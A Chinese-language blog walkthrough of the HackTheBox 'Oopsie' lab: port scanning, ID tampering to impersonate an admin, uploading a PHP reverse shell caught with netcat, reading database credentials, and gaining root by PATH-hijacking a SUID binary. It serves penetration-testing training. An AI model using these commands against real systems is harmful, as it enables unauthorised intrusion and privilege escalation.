HackTheBox:Oopsie 靶场的完整渗透流程

Oopsie 靶场
Oopsie 靶场信息

一、端口扫描

使用 Nmap 进行端口扫描,发现以下开放端口:
22/tcp open ssh
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Oopsie 靶场端口扫描结果

1
nmap -sS -T4 -sV -Pn 10.129.95.191

二、信息收集

1.根据端口扫描结果,访问 HTTP 服务

根据提示发现需要找login页面,f12查看源代码发现路径
Oopsie 靶场登录页面路径

成功访问页面
Oopsie 靶场登录页面

尝试了弱口令爆破没有成功,使用以游客身份登陆进一步获取信息

三、获取用户权限

1.使用 BurpSuite 代理抓包,获得管理员id和username

以游客身份登陆进去后,在Account模块发现id传包,于是使用 BurpSuite 代理抓包,并遍历id
Oopsie 靶场抓包遍历结果
发现了admin和super admin
之后使用super admin放包
Oopsie 靶场放包
successfully!

之后根据靶场要求使用upload功能上传文件。
发现以游客身份无法上传
Oopsie 靶场上传文件

于是根据之前的抓包过程,先进行uploads页面抓包,修改为super admin的id和username然后放包,成功访问该模块
Oopsie 靶场上传页面

2.上传反弹shell文件

首先找upload上传路径,使用gobuster进行目录爆破

1
gobuster dir -u http://10.129.95.191 -w /usr/share/wordlists/dirb/common.txt -t 50

发现是uploads文件夹

准备php反弹shell文件。
这里我使用kali自带的php-reverse-shell.php文件
Oopsie 靶场上传反弹shell文件

接下来修改监听ip和端口
Oopsie 靶场修改监听IP和端口

⚠ 错误提示,点击查看注意**上图修改的端口最好使用8888**,因为我这里使用4444端口失败了,chatgpt给的是可能被靶机防火墙规则封掉了
📌 Vim 简单使用速查表(点击展开)## 1. 进入和退出 Vim
1
2
3
vim filename        # 打开或新建文件
i # 进入插入模式
Esc # 退出插入模式
## 2. 保存和退出
1
2
3
4
:q                   # 退出 Vim
:q! # 强制退出 Vim
:w # 保存文件
:wq # 保存并退出 Vim
## 3. 编辑文本
1
2
3
4
5
6
x                   # 删除光标所在字符
dd # 删除当前行
yy # 复制当前行
p # 粘贴复制的行
u # 撤销上一步操作
Ctrl + r # 重做上一步操作

修改成自己的监听IP和端口后,使用nc监听

1
nc -lvnp 8888

在上传过程中依然要抓包修改cookie
提示上传成功
Oopsie 靶场上传成功

3. 使用curl触发反弹shell

1
curl http://10.129.95.191/uploads/phpshell.php

Oopsie 靶场触发反弹shell
whoami
成功获取shell

四、提权

1. 提升为terminal shell

之前获得到的是一个php shell,并不能算是终端,需要做一下升级

1
2
3
4
5
6
# 常用升级方法
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z # 挂起当前会话
stty raw -echo; fg # 恢复会话
reset

2. 信息收集

使用linux命令查看cdn-cgi/login目录内部文件

1
ls -la /var/www/html/cdn-cgi/login

发现db.php文件
怀疑内部有数据库连接信息

1
cat /var/www/html/cdn-cgi/login/db.php

提权以robert用户身份登录

1
su robert

Oopsie 靶场robert提权成功

查看目录

1
ls -la

查找当前用户id,组id以及所属的group

1
id

Oopsie 靶场robert用户信息

查找属于该group的全部文件

1
find / -group bugtracker 2>/dev/null

Oopsie 靶场查找bugtracker组文件

发现只有一个/usr/bin/bugtracker文件

查看该文件权限和详细信息

1
ls -la /usr/bin/bugtracker

发现该文件是一个涉及到SUID方面的文件

🔍 关于 SUIDSUID(Set User ID)是一个特殊的文件权限位,当一个可执行文件被设置了 SUID 位时,任何用户运行该文件时,都会以文件所有者的权限来执行,而不是以运行该文件的用户的权限来执行。这通常用于允许普通用户执行需要更高权限的程序。

执行该文件

1
/usr/bin/bugtracker

Oopsie 靶场执行bugtracker文件

这里直接输入root.txt文件路径发现能直接获取root的flag
但是依然没有获取到root权限,所以我尝试利用该文件获取.ssh/id_rsa文件

1
2
/usr/bin/bugtracker 
/root/.ssh/id_rsa

Oopsie 靶场获取id_rsa文件
但是如上图失败了,个人推测可能是该文件不存在(大概率),或者权限不足

3. 使用PATH劫持提权

PATH劫持的原理利用了 /usr/bin/bugtracker 这个程序是 setuid root 并且在代码里直接调用了 cat,但没有用绝对路径。

在/tmp创建假的cat程序

1
2
3
echo '/bin/sh' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH #将/tmp放在PATH最前面

执行bugtracker程序

Oopsie 利用PATH劫持提权

成功获取最高root权限!
参考: Hack-The-Box Oopsie 的分析

五、总结

在本次测试中,在执行反弹shell时候,有时候文件上传成功一次,但有时候需要多次尝试才能成功。这可能与靶场的防护机制有关,需要根据实际情况灵活应对。
上传的 php-reverse-shell.php 会在被访问(curl)时,立刻执行 system() 反弹到监听端口,然后 PHP 脚本结束,进程销毁。当第二次 curl 时,如果服务器的 PHP 环境不允许重复执行某些脚本(比如缓存、会话锁),可能就不触发。

这也是我第一次遇到通过PATH劫持提权的情况,非常有助于拓展提权思路

每一次突破权限,都是跨越认知的藩篱;每一次失败,都是积蓄下一次成功的力量!